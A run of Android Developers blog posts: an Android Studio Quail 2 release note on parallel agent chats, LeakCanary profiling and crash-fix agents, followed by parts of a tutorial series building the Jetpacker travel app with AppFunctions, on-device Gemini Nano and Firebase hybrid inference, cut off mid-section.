Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.

You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at Android Bench for an analysis of how LLMs perform Android development tasks.

How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Use the History icon to navigate between active tasks.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.

Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X.

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

Sat, 25 Jul 2026 10:15:27 +0200

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Introduction to Jetpacker

Sat, 25 Jul 2026 10:15:26 +0200

Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations

Building GenAI features in your app usually means navigating through various models, APIs and architecture choices:

Execution location: Where does your model run? On device, in the cloud, or both?
Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

Build intelligent Android apps: On-device inference

Sat, 25 Jul 2026 10:15:25 +0200

Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

User data can be processed locally on the device, preserving user privacy
Functionality of the model is reliable even with spotty or no internet connection
No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.

Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Cloud and hybrid inference

Sat, 25 Jul 2026 10:15:23 +0200

Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features:

Grounding answers in real-world context
Routing requests dynamically between cloud and local execution using hybrid inference
Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models.

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

a museum assistant with web grounding
hybrid restaurant review drafting
hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as

‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours.

Grounding data is added to the context window to enable the model

to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano.

The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
ONLY_ON_DEVICE: Restricts execution strictly to the device.
ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language.

Hotel support chat messages are automatically translated to the user’s preferred language

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
